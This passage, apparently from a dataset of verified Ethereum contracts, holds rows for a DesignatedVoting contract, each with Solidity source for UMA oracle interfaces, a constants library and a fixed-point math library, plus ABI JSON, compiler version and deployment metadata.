VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/oracle/interfaces/OracleAncillaryInterface.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleAncillaryInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param time unix timestamp for the price request.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (int256);
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/oracle/interfaces/OptimisticOracleInterface.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OptimisticOracleInterface {
// Struct representing the state of a price request.
enum State {
Invalid, // Never requested.
Requested, // Requested, no other actions taken.
Proposed, // Proposed, but not expired or disputed yet.
Expired, // Proposed, not disputed, past liveness.
Disputed, // Disputed, but no DVM price returned yet.
Resolved, // Disputed and DVM price is available.
Settled // Final price has been set in the contract (can get here from Expired or Resolved).
}
// Struct representing a price request.
struct Request {
address proposer; // Address of the proposer.
address disputer; // Address of the disputer.
IERC20 currency; // ERC20 token used to pay rewards and fees.
bool settled; // True if the request is settled.
bool refundOnDispute; // True if the requester should be refunded their reward on dispute.
int256 proposedPrice; // Price that the proposer submitted.
int256 resolvedPrice; // Price resolved once the request is settled.
uint256 expirationTime; // Time at which the request auto-settles without a dispute.
uint256 reward; // Amount of the currency to pay to the proposer on settlement.
uint256 finalFee; // Final fee to pay to the Store upon request to the DVM.
uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee.
uint256 customLiveness; // Custom liveness value set by the requester.
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses
// to accept a price request made with ancillary data length of a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external virtual returns (uint256 totalBond);
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external virtual returns (uint256 totalBond);
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual;
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external virtual;
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was value (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public virtual returns (uint256 totalBond);
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 totalBond);
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (int256);
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 payout);
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (Request memory);
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (State);
/**
* @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (bool);
} | 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VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/oracle/implementation/Constants.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
} | 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VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct 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VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/common/implementation/FixedPoint.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
using SignedSafeMath for int256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For unsigned values:
// This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
// --------------------------------------- UNSIGNED -----------------------------------------------------------------------------
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
